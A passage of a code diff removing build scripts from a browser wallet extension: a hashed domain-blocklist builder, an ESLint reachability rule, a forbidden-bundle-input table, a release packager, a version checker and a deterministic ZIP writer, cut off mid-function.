-        );
-    }
-
-    const hashes = [];
-    for (const domain of seen) hashes.push(hashDomain(domain));
-    hashes.sort();
-
-    // Truncation makes collisions possible; they are harmless (both entries are
-    // blocked either way) but they must not inflate the count the artifact
-    // claims, which the runtime cross-checks against the string length.
-    const unique = [];
-    for (const hash of hashes) {
-        if (unique.length === 0 || unique[unique.length - 1] !== hash) {
-            unique.push(hash);
-        }
-    }
-
-    const artifact = {
-        algorithm: HASH_ALGORITHM,
-        hashHexChars: HASH_HEX_CHARS,
-        count: unique.length,
-        hashes: unique.join(""),
-    };
-
-    // Four-space JSON with a trailing newline: what prettier emits for this
-    // shape, so a vendored artifact passes make fmt-check untouched.
-    fs.writeFileSync(output, JSON.stringify(artifact, null, 4) + "\n");
-
-    process.stdout.write(
-        "build-blocklist: " +
-            config.blacklist.length +
-            " source entries -> " +
-            seen.size +
-            " usable domains -> " +
-            unique.length +
-            " digests (" +
-            dropped +
-            " not hostnames, " +
-            (seen.size - unique.length) +
-            " digest collisions)\n",
-    );
-}
-
-main(process.argv.slice(2));

script/lib/eslint/noStateSingletonInBackground.js

@@ -1,206 +0,0 @@
-// ESLint rule: the background bundle may not reach the shared state singleton.
-//
-// src/shared/state.js holds a module-level `state` object, loaded once by
-// loadState() and mutated in place from then on. That is the popup's model. In
-// the MV3 service worker there is no "once": the worker is terminated when
-// idle and revived by the next message, nothing loads state at module scope,
-// and an unpopulated read used to be served DEFAULT_STATE without complaint —
-// five defects, one cause
-// (https://git.eeqj.de/sneak/AutistMask/issues/324). The background has its
-// own per-call storage layer in src/background/state.js instead.
-//
-// THIS RULE IS NOT THE GUARANTEE, and must not be described as one. The
-// guarantee is in build.js: FORBIDDEN_INPUTS / assertNoForbiddenInputs() fails
-// the build when esbuild's own metafile reports src/shared/state.js as an input
-// of a background bundle. That consults the resolution esbuild actually
-// performed, so no specifier syntax and no resolution rule can slip past it,
-// and Dockerfile:42 runs `make build` in CI.
-//
-// What this rule is: fast local feedback, in the editor and in `make lint`,
-// before a full bundle. It reads sources from disk and matches import
-// specifiers TEXTUALLY, so it is a best-effort approximation of module
-// resolution — a hand-rolled matcher will diverge from a real bundler, and two
-// earlier revisions of this file proved it by shipping holes (a template
-// literal, a dynamic `import()`, a comment inside the call, a directory
-// resolved through `package.json` `main`). Those are all covered now, and the
-// next divergence is caught by the build rather than by widening this again.
-//
-// It checks REACHABILITY, not just the direct require: the singleton is one
-// `require()` away from any shared module the background pulls in, and a
-// re-export would put it back in the bundle without any background file naming
-// it. So each background file is the root of a walk over the CommonJS require
-// graph, and the error names the whole chain that brought the singleton in.
-//
-// Matching textually over-approximates — a specifier inside a comment or a
-// string counts — which is the safe direction here: the failure mode is a
-// spurious error naming an exact file and line, not a silent hole.
-//
-// Two shapes this rule does NOT report, both of which the build does fail on
-// (each measured with `make lint` and `make build` on the branch that added
-// this note):
-//
-//   - a computed specifier, `require("../shared/" + "state")` — esbuild
-//     constant-folds it, so it is in the bundle and `make build` is exit 2
-//     naming src/shared/state.js, while `make lint` is exit 0. Same for
-//     `import("../shared/" + variable)`, which esbuild resolves as a glob.
-//   - a symlink to the module — esbuild reports the real path and fails the
-//     build; this rule resolves the link's own path and sees a different file.
-//
-// Both are pinned as non-reports in tests/backgroundStateLintRule.test.js, so
-// this list is a measured description of the rule rather than a claim about
-// it. They are known divergences, not things that cannot happen. A
-// matcher will keep diverging from a bundler; that is why the guarantee is the
-// build's and this rule is not widened again to chase them.
-
-const fs = require("fs");
-const path = require("path");
-
-const { FORBIDDEN_INPUTS } = require("../forbiddenBundleInputs");
-
-// The modules to keep out, repo-relative, taken from the same table build.js
-// asserts against so that the two layers cannot name different paths. A second
-// literal copy here is how a rename disarms one of them while the other still
-// looks enforced.
-const FORBIDDEN = [...new Set(Object.values(FORBIDDEN_INPUTS).flat())];
-
-// Whatever may sit between a keyword, a paren and a specifier: whitespace and
-// comments. `import(/* webpackChunkName: "x" */ "./x")` is a standard bundler
-// idiom, and an inline `/* eslint-… */` is just as ordinary, so a matcher that
-// allows only \s there is not strict, it is broken. Each alternative starts
-// with a distinct character, so this cannot backtrack quadratically.
-const GAP = "(?:\\s|/\\*[^]*?\\*/|//[^\\n]*)";
-const SPECIFIER = "[\"'`]([^\"'`]+)[\"'`]";
-
-// Both alternatives capture the specifier: call form first
-// (`require(...)`/`import(...)`), then clause form (`from "x"`, and the bare
-// side-effect `import "x"`). Nothing after the specifier is matched, so a
-// trailing comment or a trailing comma cannot break the match either.
-const SPECIFIER_RE = new RegExp(
-    `\\b(?:require|import)${GAP}*\\(${GAP}*${SPECIFIER}` +
-        `|\\b(?:from|import)${GAP}+${SPECIFIER}`,
-    "g",
-);
-
-// The `main` of a directory's package.json, as a specifier relative to that
-// directory, or null. esbuild resolves a directory through it, so a walk that
-// stops at `<dir>/index.js` reports a specifier it matched perfectly well as
-// unresolvable.
-function packageMain(dir) {
-    try {
-        const pkg = JSON.parse(
-            fs.readFileSync(path.join(dir, "package.json"), "utf8"),
-        );
-        return typeof pkg.main === "string" && pkg.main ? pkg.main : null;
-    } catch {
-        return null;
-    }
-}
-
-// Resolve a relative require to a file path, trying what node and esbuild would
-// in the order they would: the path itself, then extensions, then the directory
-// (its package.json `main`, then its index.js).
-function resolveRelative(fromFile, spec) {
-    if (!spec.startsWith(".")) return null; // a package, not our tree
-    const base = path.resolve(path.dirname(fromFile), spec);
-    const main = packageMain(base);
-    for (const candidate of [
-        base,
-        base + ".js",
-        base + ".json",
-        ...(main
-            ? [path.resolve(base, main), path.resolve(base, main) + ".js"]
-            : []),
-        path.join(base, "index.js"),
-    ]) {
-        try {
-            if (fs.statSync(candidate).isFile()) return candidate;
-        } catch {
-            // Not this candidate.
-        }
-    }
-    return null;
-}
-
-function requiresOf(file) {
-    let source;
-    try {
-        source = fs.readFileSync(file, "utf8");
-    } catch {
-        return [];
-    }
-    const out = [];
-    for (const match of source.matchAll(SPECIFIER_RE)) {
-        const resolved = resolveRelative(file, match[1] ?? match[2]);
-        if (resolved) out.push(resolved);
-    }
-    return out;
-}
-
-// Breadth-first from `entry`, returning the shortest chain of files that ends
-// at one of the forbidden modules, or null when none is reachable.
-function chainToForbidden(entry, forbidden) {
-    const seen = new Set([entry]);
-    const queue = [[entry]];
-    while (queue.length > 0) {
-        const chain = queue.shift();
-        for (const next of requiresOf(chain[chain.length - 1])) {
-            if (forbidden.has(next)) return chain.concat([next]);
-            if (seen.has(next)) continue;
-            seen.add(next);
-            queue.push(chain.concat([next]));
-        }
-    }
-    return null;
-}
-
-const rule = {
-    meta: {
-        type: "problem",
-        docs: {
-            description:
-                "the background bundle must not be able to reach the" +
-                " module-level state singleton in src/shared/state.js",
-        },
-        schema: [],
-        messages: {
-            reachable:
-                "The background must not reach the shared state singleton:" +
-                " {{chain}}. The MV3 worker never populates it, so reading it" +
-                " serves DEFAULT_STATE. Use getState()/updateState() from" +
-                " src/background/state.js instead.",
-        },
-    },
-
-    create(context) {
-        return {
-            "Program:exit"(node) {
-                const filename = context.filename;
-                // ESLint lints from the repo root, which is also where the
-                // forbidden paths are anchored.
-                const forbidden = new Set(
-                    FORBIDDEN.map((module) =>
-                        path.resolve(context.cwd, module),
-                    ),
-                );
-                const chain = chainToForbidden(
-                    path.resolve(filename),
-                    forbidden,
-                );
-                if (!chain) return;
-                context.report({
-                    node,
-                    messageId: "reachable",
-                    data: {
-                        chain: chain
-                            .map((file) => path.relative(context.cwd, file))
-                            .join(" -> "),
-                    },
-                });
-            },
-        };
-    },
-};
-
-module.exports = {
-    rules: { "no-state-singleton-in-background": rule },
-};

script/lib/forbiddenBundleInputs.js

@@ -1,123 +0,0 @@
-// The modules a given entry point's bundle may not contain, keyed by the
-// repo-relative entry point.
-//
-// ONE table, read by both layers that act on it: build.js asserts it against
-// esbuild's own metafile (the guarantee), and
-// script/lib/eslint/noStateSingletonInBackground.js reports the same
-// prohibition in the editor (fast feedback). It lives here because a second
-// literal copy of the path is exactly how a rename disarms one layer while the
-// other still looks enforced.
-//
-// src/shared/state.js holds a module-level `state` object, loaded once by
-// loadState() and mutated in place from then on. That is the popup's model:
-// one page, one load at boot, one lifetime. The MV3 service worker has no
-// "once" — it is killed when idle and revived by the next message, nothing
-// loads state at module scope, and an unpopulated read was answered out of
-// DEFAULT_STATE in silence. Five defects came from that, one of which
-// destroyed a wallet (https://git.eeqj.de/sneak/AutistMask/issues/324). The
-// background has its own per-call storage layer in src/background/state.js
-// instead.
-//
-// What build.js's assertion covers, measured rather than assumed:
-//
-//   - Any import of a listed module, at any hop, in any specifier syntax,
-//     however esbuild resolved it. The check reads the input list esbuild
-//     reported for the emitted bundle, so it is the resolution the shipped
-//     file was built from and not a model of it. Measured on a computed
-//     specifier that esbuild constant-folds (`require("../shared/" +
-//     "state")`), on a computed specifier it resolves as a glob
-//     (`import("../shared/" + variable)`), and on a symlink to the module
-//     (esbuild reports the real path): each is `make build` exit 2.
-//
-//   - Every background entry point, whether or not anyone remembered to list
-//     it. A bundled entry point under BACKGROUND_ENTRY_PREFIX with no line in
-//     this table fails the build (assertNoForbiddenInputs()), so adding a
-//     second worker entry point is protected by default rather than protected
-//     only if the person adding it knew about this file. Measured: bundling
-//     src/background/worker2.js with no line here is `make build` exit 2.
-//
-//   - NOT covered: a COPY of a listed module at another path. The table is
-//     keyed by path, so `cp src/shared/state.js src/shared/stateCopy.js` plus
-//     a background require of the copy is `make build` exit 0 and `make lint`
-//     exit 0 (measured). The copy carries the singleton's own guard, so
-//     defects 1-3 of https://git.eeqj.de/sneak/AutistMask/issues/324 — a read
-//     of a field nothing loaded — become a loud StateNotLoadedError instead of
-//     a silent DEFAULT_STATE. Defects 4 and 5 do NOT: a copy also carries
-//     loadState(), and a stale read several awaits after a load, or a load
-//     detaching the objects an in-flight handler is mutating, are silent over
-//     a LOADED singleton whether it is the original or a copy. So the residual
-//     is wider than "it fails loudly". A newly WRITTEN singleton has no
-//     backstop at all.
-//
-//   - NOT covered: a background-behaving entry point outside
-//     BACKGROUND_ENTRY_PREFIX. The default protection above is keyed on that
-//     directory, which is also what eslint.config.js scopes the rule to, so a
-//     worker entry point placed somewhere else is covered by neither layer and
-//     needs its own line here.
-//
-// The ESLint rule's bounds are its own and are narrower: it matches specifiers
-// textually, so a computed specifier and a symlink to a listed module are
-// reported by the build and not by the rule. Both are pinned as non-reports in
-// tests/backgroundStateLintRule.test.js and are `make build` exit 2 (measured).
-// A second background entry point reached by one of those two shapes is
-// therefore caught by the build and not by the rule — which is the same
-// division of labour as everywhere else here, not an extra hole.
-//
-// Every way the table itself can rot is a failure rather than a quiet pass:
-//
-//   - a KEY no bundled entry point matched, and a listed MODULE this build
-//     bundled nowhere: assertForbiddenTableCovered(), at the end of a build;
-//   - an entry that lists NO modules, and a table with no entries at all:
-//     assertTableWellFormed() below, at require time — so it fails the build
-//     and the lint run alike, because the rule reads the same values and an
-//     empty list leaves it with nothing to look for.
-//
-// All of it is pinned by tests/buildForbiddenInputs.test.js.
-
-// What counts as a background entry point, and therefore must be listed above.
-// The build has no other notion of one: entry points are the paths handed to
-// bundle(), and this prefix is the narrowest rule that names the worker's
-// directory. eslint.config.js scopes the lint rule with the same prefix, from
-// this constant, so the two layers cannot disagree about what "background"
-// means.
-const BACKGROUND_ENTRY_PREFIX = "src/background/";
-
-const FORBIDDEN_INPUTS = {
-    "src/background/index.js": ["src/shared/state.js"],
-};
-
-// Refuse a table that cannot prohibit anything. An entry whose module list is
-// empty passes every check in both layers while enforcing nothing: the build
-// finds no module to look for and records the entry as checked, and the rule's
-// forbidden set — Object.values(...).flat() — comes back empty, so a plain
-// `require("../shared/state")` in the worker is green everywhere. That is a
-// one-character edit, so it fails here, where the table is defined and both
-// layers must load it, rather than in either layer's own checks.
-function assertTableWellFormed(table) {
-    const entries = Object.entries(table);
-    if (entries.length === 0) {
-        throw new Error(
-            "FORBIDDEN_INPUTS is empty, so nothing is prohibited anywhere. " +
-                "Removing the last entry disables the guarantee behind " +
-                "https://git.eeqj.de/sneak/AutistMask/issues/324.",
-        );
-    }
-    for (const [entry, modules] of entries) {
-        if (!Array.isArray(modules) || modules.length === 0) {
-            throw new Error(
-                `FORBIDDEN_INPUTS["${entry}"] lists no modules, so it ` +
-                    `prohibits nothing while still looking enforced. Give it ` +
-                    `the modules that entry point may not reach, or remove ` +
-                    `the entry.`,
-            );
-        }
-    }
-}
-
-assertTableWellFormed(FORBIDDEN_INPUTS);
-
-module.exports = {
-    BACKGROUND_ENTRY_PREFIX,
-    FORBIDDEN_INPUTS,
-    assertTableWellFormed,
-};

script/lib/package.js

@@ -1,294 +0,0 @@
-// Turn a verified dist/ into the two distributable archives.
-//
-// Invoked by script/package, which runs `make build` first so that dist/ has
-// already been checked against the build's own receipt (see the Build Receipts
-// section of README.md). This program does not build anything and does not
-// write into dist/: it reads the emitted tree and writes release/.
-//
-//   release/autistmask-chrome-<version>.zip   loaded via chrome://extensions
-//   release/autistmask-firefox-<version>.xpi  an UNSIGNED add-on, see README
-//   release/SHA256SUMS
-//
-// Self-containment is checked rather than assumed, because the layout invites
-// exactly one mistake: build.js emits dist/styles.css at the dist/ ROOT,
-// outside both browser directories, and copies it into each of them as
-// src/popup/styles.css. A naive `zip -r dist/chrome` is therefore correct only
-// by accident, and would stop being correct the moment a reference pointed up
-// and out. So every path the manifest and the popup HTML reference is resolved
-// and required to be inside the archive, a reference that escapes the browser
-// directory is a hard failure, and anything sitting at the dist/ root is
-// listed as deliberately not shipped rather than silently dropped.
-//
-// The archive is then read back and compared byte for byte against the
-// directory it was built from. An archive nobody opened is a claim, not an
-// artifact.
-
-"use strict";
-
-const crypto = require("crypto");
-const fs = require("fs");
-const path = require("path");
-
-const { readZip, writeZip } = require("./zip");
-const { resolveVersion } = require("./version");
-
-const ROOT = path.resolve(__dirname, "..", "..");
-const DIST = path.join(ROOT, "dist");
-const RELEASE = path.join(ROOT, "release");
-
-const TARGETS = [
-    { dir: "chrome", ext: "zip" },
-    // .xpi rather than .zip: it is the same container, but Firefox's install
-    // flow keys off the extension.
-    { dir: "firefox", ext: "xpi" },
-];
-
-// Strings in a manifest that name a file the extension loads. Matched by
-// shape, not by a list of manifest keys, so a key added in a later manifest
-// version is covered the day it appears rather than the day someone remembers
-// to extend a list here. Nothing else in either manifest looks like this: the
-// CSP strings, "<all_urls>", the version and the base64 key all fail it.
-const MANIFEST_PATH_RE =
-    /^[A-Za-z0-9._][A-Za-z0-9._/-]*\.(?:js|css|html|json|png|svg|woff2?)$/;
-
-// Local references out of an HTML document. Enough for what this repo emits —
-// one stylesheet link and one script tag — and anything it does not understand
-// is reported rather than passed over, see htmlReferences().
-const HTML_REF_RE = /(?:src|href)\s*=\s*["']([^"']+)["']/gi;
-
-function fail(message) {
-    throw new Error(message);
-}
-
-function sha256(buf) {
-    return crypto.createHash("sha256").update(buf).digest("hex");
-}
-
-// Every regular file under dir, as archive-root-relative forward-slashed
-// paths. A symlink is refused rather than followed: build.js emits regular
-// files only, so a link under dist/ is not something the build produced, and
-// dereferencing one would put bytes from outside dist/ into the artifact.
-function listFiles(dir, prefix = "") {
-    const out = [];
-    for (const entry of fs.readdirSync(dir, { withFileTypes: true })) {
-        const rel = prefix ? `${prefix}/${entry.name}` : entry.name;
-        if (entry.isSymbolicLink()) {
-            fail(
-                `${dir}/${entry.name} is a symlink. The build emits regular ` +
-                    `files only, so this is not something it produced and it ` +
-                    `will not be archived.`,
-            );
-        } else if (entry.isDirectory()) {
-            out.push(...listFiles(path.join(dir, entry.name), rel));
-        } else if (entry.isFile()) {
-            out.push(rel);
-        } else {
-            fail(
-                `${dir}/${entry.name} is neither a regular file nor a ` +
-                    `directory, so it is not something the build emitted`,
-            );
-        }
-    }
-    return out.sort();
-}
-
-// Collect every string anywhere in the manifest that looks like a file it
-// loads, plus every string that tries to reach outside the extension root.
-// The second half is the point: "../styles.css" never matches
-// MANIFEST_PATH_RE, so without an explicit check an escaping reference would
-// read as "not a path" and the missing file would be found only by a user
-// whose popup rendered unstyled.
-function manifestReferences(value, found = new Set()) {
-    if (typeof value === "string") {
-        if (value.split("/").includes("..")) {
-            fail(
-                `the manifest references ${JSON.stringify(value)}, which ` +
-                    `points outside the extension root. Everything the ` +
-                    `browser loads has to be inside the archive; nothing ` +
-                    `above it is shipped.`,
-            );
-        }
-        if (MANIFEST_PATH_RE.test(value)) found.add(value);
-    } else if (Array.isArray(value)) {
-        for (const v of value) manifestReferences(v, found);
-    } else if (value && typeof value === "object") {
-        for (const v of Object.values(value)) manifestReferences(v, found);
-    }
-    return found;
-}
-
-// Local references out of one HTML member, resolved against that member's own
-// directory and returned archive-relative. Absolute URLs, data: URIs and
-// in-page anchors are not files and are skipped; a relative reference that
-// climbs out of the archive root is a failure for the same reason as above.
-function htmlReferences(member, text) {
-    const base = path.posix.dirname(member);
-    const out = new Set();
-    for (const match of text.matchAll(HTML_REF_RE)) {
-        const ref = match[1].trim();
-        if (ref === "" || ref.startsWith("#") || ref.startsWith("//")) continue;
-        if (/^[a-z][a-z0-9+.-]*:/i.test(ref)) continue;
-        if (ref.startsWith("/")) {
-            fail(
-                `${member} references ${JSON.stringify(ref)} from the ` +
-                    `extension root. Nothing here emits root-absolute ` +
-                    `references and this packager does not resolve them.`,
-            );
-        }
-        const resolved = path.posix.normalize(path.posix.join(base, ref));
-        if (resolved.startsWith("..")) {
-            fail(
-                `${member} references ${JSON.stringify(ref)}, which resolves ` +
-                    `outside the extension root. build.js copies the ` +
-                    `compiled stylesheet into each browser directory for ` +
-                    `exactly this reason: dist/styles.css lives at the dist/ ` +
-                    `root and is not part of either archive.`,
-            );
-        }
-        out.add(resolved);
-    }
-    return out;
-}
-
-// Everything the browser is told to load, and the assertion that all of it is
-// in the archive.
-function checkSelfContained(target, members, read) {
-    if (!members.includes("manifest.json")) {
-        fail(`dist/${target} has no manifest.json at its root`);
-    }
-
-    const manifest = JSON.parse(read("manifest.json").toString("utf8"));
-    const referenced = new Set(manifestReferences(manifest));
-
-    for (const member of members) {
-        if (!member.endsWith(".html")) continue;
-        for (const ref of htmlReferences(
-            member,
-            read(member).toString("utf8"),
-        )) {
-            referenced.add(ref);
-        }
-    }
-
-    const missing = [...referenced].filter((r) => !members.includes(r));
-    if (missing.length > 0) {
-        fail(
-            `the ${target} archive would not be self-contained: it is told ` +
-                `to load ${missing.join(", ")}, which ${
-                    missing.length === 1 ? "is" : "are"
-                } not in it`,
-        );
-    }
-    return { manifest, referenced };
-}
-
-function main() {
-    const version = resolveVersion(ROOT);
-
-    if (!fs.existsSync(DIST)) {
-        fail(
-            "there is no dist/ to package. script/package runs make build " +
-                "first; run it rather than this program.",
-        );
-    }
-
-    fs.rmSync(RELEASE, { recursive: true, force: true });
-    fs.mkdirSync(RELEASE, { recursive: true });
-
-    // Files the build emits at the dist/ root, outside both browser
-    // directories. Printed rather than ignored: dist/styles.css is the
-    // Tailwind output that build.js then copies into each browser directory,
-    // so leaving it out is correct — but "correct and stated" and "dropped by
-    // a glob" are different things, and only one of them survives the next
-    // change to the build.
-    const rootOnly = fs
-        .readdirSync(DIST, { withFileTypes: true })
-        .filter((e) => !e.isDirectory())
-        .map((e) => e.name)
-        .sort();
-    if (rootOnly.length > 0) {
-        console.log(
-            `Not shipped (dist/ root, outside every browser directory, and ` +
-                `referenced by nothing inside one): ${rootOnly.join(", ")}`,
-        );
-    }
-
-    const sums = [];
-    for (const { dir, ext } of TARGETS) {
-        const targetDir = path.join(DIST, dir);
-        if (!fs.existsSync(targetDir)) {
-            fail(`dist/${dir} does not exist; run make build`);
-        }
-
-        const members = listFiles(targetDir);
-        const readFromDir = (member) =>
-            fs.readFileSync(path.join(targetDir, member));
-
-        const { manifest } = checkSelfContained(dir, members, readFromDir);
-        if (manifest.version !== version) {
-            fail(
-                `dist/${dir}/manifest.json says version ${manifest.version} ` +
-                    `but this tree is ${version}. dist/ is stale: run make ` +
-                    `build.`,
-            );
-        }
-
-        const archive = writeZip(
-            members.map((name) => ({ name, data: readFromDir(name) })),
-        );
-        const name = `autistmask-${dir}-${version}.${ext}`;
-        const outPath = path.join(RELEASE, name);
-        fs.writeFileSync(outPath, archive);
-
-        // Read the artifact back off disk, not the buffer that was just
-        // written: what ships is the file.
-        const written = fs.readFileSync(outPath);
-        const entries = readZip(written);
-        const inArchive = entries.map((e) => e.name).sort();
-        if (inArchive.join("\n") !== members.join("\n")) {
-            fail(
-                `${name} does not hold the same members as dist/${dir}: ` +
-                    `archive has ${inArchive.length}, directory has ` +
-                    `${members.length}`,
-            );
-        }
-        for (const entry of entries) {
-            const onDisk = readFromDir(entry.name);
-            if (sha256(entry.data) !== sha256(onDisk)) {
-                fail(`${name} member ${entry.name} differs from dist/${dir}`);
-            }
-        }
-        // Re-run the self-containment check against the ARCHIVE's own
-        // contents. The directory passing it is not the claim being made.
-        const byName = new Map(entries.map((e) => [e.name, e.data]));
-        checkSelfContained(dir, inArchive, (m) => byName.get(m));
-
-        const digest = sha256(written);
-        sums.push(`${digest}  ${name}`);
-        console.log(
-            `${name}: ${entries.length} member(s), ${written.length} bytes, ` +
-                `sha256 ${digest}`,
-        );
-    }
-
-    fs.writeFileSync(
-        path.join(RELEASE, "SHA256SUMS"),
-        sums.map((l) => `${l}\n`).join(""),
-    );
-    console.log(`Wrote release/ for version ${version}`);
-}
-
-// Only when run as a program. The reference-resolving helpers are what decide
-// whether an archive is self-contained, so tests/packaging.test.js exercises
-// them directly and must be able to require this file without packaging
-// anything.
-if (require.main === module) {
-    try {
-        main();
-    } catch (err) {
-        console.error(`package: ${err && err.message ? err.message : err}`);
-        process.exit(1);
-    }
-}
-
-module.exports = { checkSelfContained, htmlReferences, manifestReferences };

script/lib/version.js

@@ -1,74 +0,0 @@
-// The version, and the rule that there is only one of it.
-//
-// Three files declare a version and none of them can be derived from another:
-// Chrome and Firefox each need their own manifest, both are copied to dist/
-// verbatim (tests/manifest.test.js asserts that what is in manifest/ is what
-// ships), and package.json's copy is what build.js compiles into the About
-// screen. So the single source of truth is enforced rather than generated —
-// they must all agree or there is no version and no build.
-//
-// Reading one of the three and ignoring the rest is what this replaces. That
-// shape cannot fail: it silently ships an extension whose About screen and
-// whose browser-reported version disagree, and whose release artifact is named
-// after whichever file the packager happened to read.
-//
-// Required by build.js, script/lib/package.js and tests/version.test.js, so
-// the build, the release artifacts and make check all apply the same rule to
-// the same files.
-
-"use strict";
-
-const fs = require("fs");
-const path = require("path");
-
-const VERSION_SOURCES = [
-    "package.json",
-    "manifest/chrome.json",
-    "manifest/firefox.json",
-];
-
-// Every declared version, in VERSION_SOURCES order, as { source, version }.
-// A file that declares nothing usable fails here rather than being skipped:
-// a missing version is not agreement.
-function declaredVersions(root) {
-    return VERSION_SOURCES.map((source) => {
-        const file = path.join(root, source);
-        let parsed;
-        try {
-            parsed = JSON.parse(fs.readFileSync(file, "utf8"));
-        } catch (e) {
-            throw new Error(
-                `${source} could not be read as JSON: ${e.message}`,
-            );
-        }
-        const version = parsed.version;
-        if (typeof version !== "string" || version.trim() === "") {
-            throw new Error(
-                `${source} declares no usable "version" (found ` +
-                    `${JSON.stringify(version)}). Every artifact is named and ` +
-                    `stamped with it, so there is nothing to build without it.`,
-            );
-        }
-        return { source, version };
-    });
-}
-
-// The one version all three declare, or a failure naming every disagreeing
-// file and what it said.
-function resolveVersion(root) {
-    const declared = declaredVersions(root);
-    const distinct = [...new Set(declared.map((d) => d.version))];
-    if (distinct.length !== 1) {
-        throw new Error(
-            "the declared versions disagree, so this tree has no version: " +
-                declared.map((d) => `${d.source}=${d.version}`).join(", ") +
-                ". Set all of them to the same value: the manifests are what " +
-                "the browser reports and package.json is what the About " +
-                "screen shows, and a build that picked one of them would " +
-                "ship the disagreement.",
-        );
-    }
-    return distinct[0];
-}
-
-module.exports = { VERSION_SOURCES, declaredVersions, resolveVersion };

script/lib/zip.js

@@ -1,274 +0,0 @@
-// A minimal, deterministic ZIP writer and reader.
-//
-// Used by script/lib/package.js to build the distributable archives: a Chrome
-// zip and a Firefox XPI are both ordinary zip files with manifest.json at the
-// root, so one implementation covers both.
-//
-// Why this rather than a package or the zip(1) binary. A dependency would have
-// to be hash-pinned like everything else in REPO_POLICIES.md, and this is
-// about a hundred lines of stdlib zlib for a format the archives use two
-// features of. The binary is worse: the release artifact would then depend on
-// whichever Info-ZIP the machine happens to have, which is the same objection
-// that keeps linting inside a container.
-//
-// Deterministic on purpose. Entries are sorted by name, every timestamp is the
-// same fixed 1980-01-01 the format's epoch starts at, and the compression
-// level is fixed, so building the same dist/ twice produces byte-identical
-// archives and the sha256 in SHA256SUMS is a property of the input rather than
-// of the clock. Two builds of the same commit that disagree are then visible
-// instead of expected.
-//
-// Deliberately NOT implemented: zip64, encryption, data descriptors,
-// directory entries (browsers infer directories from member paths), and
-// anything to do with symlinks. writeZip refuses input it cannot represent
-// rather than emitting an archive that is quietly wrong.
-
-"use strict";
-
-const zlib = require("zlib");
-
-const LOCAL_SIG = 0x04034b50;
-const CENTRAL_SIG = 0x02014b50;
-const EOCD_SIG = 0x06054b50;
-
-const METHOD_STORE = 0;
-const METHOD_DEFLATE = 8;
-
-// 1980-01-01 00:00:00, the earliest the MS-DOS timestamp fields can express.
-const DOS_DATE = (0 << 9) | (1 << 5) | 1;
-const DOS_TIME = 0;
-
-// Unix regular file, mode 0644, in the high 16 bits, which is where the "made
-// by unix" convention puts it.
-// >>> 0 because JS shifts are signed 32-bit and this one sets the top bit.
-const EXTERNAL_ATTRS = (0o100644 << 16) >>> 0;
-const VERSION_MADE_BY = (3 << 8) | 20; // unix, needs zip 2.0
-const VERSION_NEEDED = 20;
-
-// Without zip64 every size and offset is a u32.
-const MAX_U32 = 0xffffffff;
-
-const CRC_TABLE = (() => {
-    const table = new Int32Array(256);
-    for (let i = 0; i < 256; i++) {
-        let c = i;
-        for (let k = 0; k < 8; k++) {
-            c = c & 1 ? 0xedb88320 ^ (c >>> 1) : c >>> 1;
-        }
-        table[i] = c;
-    }
-    return table;
-})();
-
-// Written out rather than taken from zlib.crc32, which only exists from node
-// 22.2: this runs from script/ on whatever node the host has as well as inside
-// the pinned image, and a checksum that silently is not there is worse than
-// twelve lines.
-function crc32(buf) {
-    let c = -1;
-    for (let i = 0; i < buf.length; i++) {
-        c = CRC_TABLE[(c ^ buf[i]) & 0xff] ^ (c >>> 8);
-    }
-    return (c ^ -1) >>> 0;
-}
-
-// Member names are stored as raw bytes. Anything outside ASCII would need the
-// UTF-8 flag and interoperability care that nothing this repo emits requires,
-// so it is refused instead of guessed at.
-function encodeName(name) {
-    if (typeof name !== "string" || name === "") {
-        throw new Error(`zip: unusable member name ${JSON.stringify(name)}`);
-    }
-    const segments = name.split("/");
-    if (
-        name.startsWith("/") ||
-        name.includes("\\") ||
-        segments.some((s) => s === "" || s === "." || s === "..")
-    ) {
-        throw new Error(
-            `zip: refusing member name ${JSON.stringify(name)}: archive ` +
-                `members must be relative paths under the archive root`,
-        );
-    }
-    if (/[^\x20-\x7e]/.test(name)) {
-        throw new Error(
-            `zip: refusing non-ASCII member name ${JSON.stringify(name)}`,
-        );
-    }
-    return Buffer.from(name, "ascii");
-}
-
-function compress(data) {
-    if (data.length === 0) {
-        return { method: METHOD_STORE, body: data };
-    }
-    const deflated = zlib.deflateRawSync(data, { level: 9 });
-    if (deflated.length >= data.length) {
-        return { method: METHOD_STORE, body: data };
-    }
-    return { method: METHOD_DEFLATE, body: deflated };
-}
-
-// entries: [{ name, data }]. Returns the archive as a Buffer.
-function writeZip(entries) {
-    if (!Array.isArray(entries) || entries.length === 0) {
-        throw new Error("zip: refusing to write an archive with no members");
-    }
-
-    const sorted = [...entries].sort((a, b) => (a.name < b.name ? -1 : 1));
-    const seen = new Set();
-    const locals = [];
-    const centrals = [];
-    let offset = 0;
-
-    for (const entry of sorted) {
-        const name = encodeName(entry.name);
-        if (seen.has(entry.name)) {
-            throw new Error(`zip: duplicate member ${entry.name}`);
-        }
-        seen.add(entry.name);
-
-        const data = Buffer.from(entry.data);
-        const { method, body } = compress(data);
-        if (data.length > MAX_U32 || body.length > MAX_U32) {
-            throw new Error(
-                `zip: ${entry.name} is too large for a non-zip64 archive`,
-            );
-        }
-        const crc = crc32(data);
-
-        const local = Buffer.alloc(30 + name.length);
-        local.writeUInt32LE(LOCAL_SIG, 0);
-        local.writeUInt16LE(VERSION_NEEDED, 4);
-        local.writeUInt16LE(0, 6);
-        local.writeUInt16LE(method, 8);
-        local.writeUInt16LE(DOS_TIME, 10);
-        local.writeUInt16LE(DOS_DATE, 12);
-        local.writeUInt32LE(crc, 14);
-        local.writeUInt32LE(body.length, 18);
-        local.writeUInt32LE(data.length, 22);
-        local.writeUInt16LE(name.length, 26);
-        local.writeUInt16LE(0, 28);
-        name.copy(local, 30);
-
-        const central = Buffer.alloc(46 + name.length);
-        central.writeUInt32LE(CENTRAL_SIG, 0);
-        central.writeUInt16LE(VERSION_MADE_BY, 4);
-        central.writeUInt16LE(VERSION_NEEDED, 6);
-        central.writeUInt16LE(0, 8);
-        central.writeUInt16LE(method, 10);
-        central.writeUInt16LE(DOS_TIME, 12);
-        central.writeUInt16LE(DOS_DATE, 14);
-        central.writeUInt32LE(crc, 16);
-        central.writeUInt32LE(body.length, 20);
-        central.writeUInt32LE(data.length, 24);
-        central.writeUInt16LE(name.length, 28);
-        central.writeUInt16LE(0, 30);
-        central.writeUInt16LE(0, 32);
-        central.writeUInt16LE(0, 34);
-        central.writeUInt16LE(0, 36);
-        central.writeUInt32LE(EXTERNAL_ATTRS, 38);
-        if (offset > MAX_U32) {
-            throw new Error("zip: archive too large for a non-zip64 archive");
-        }
-        central.writeUInt32LE(offset, 42);
-        name.copy(central, 46);
-
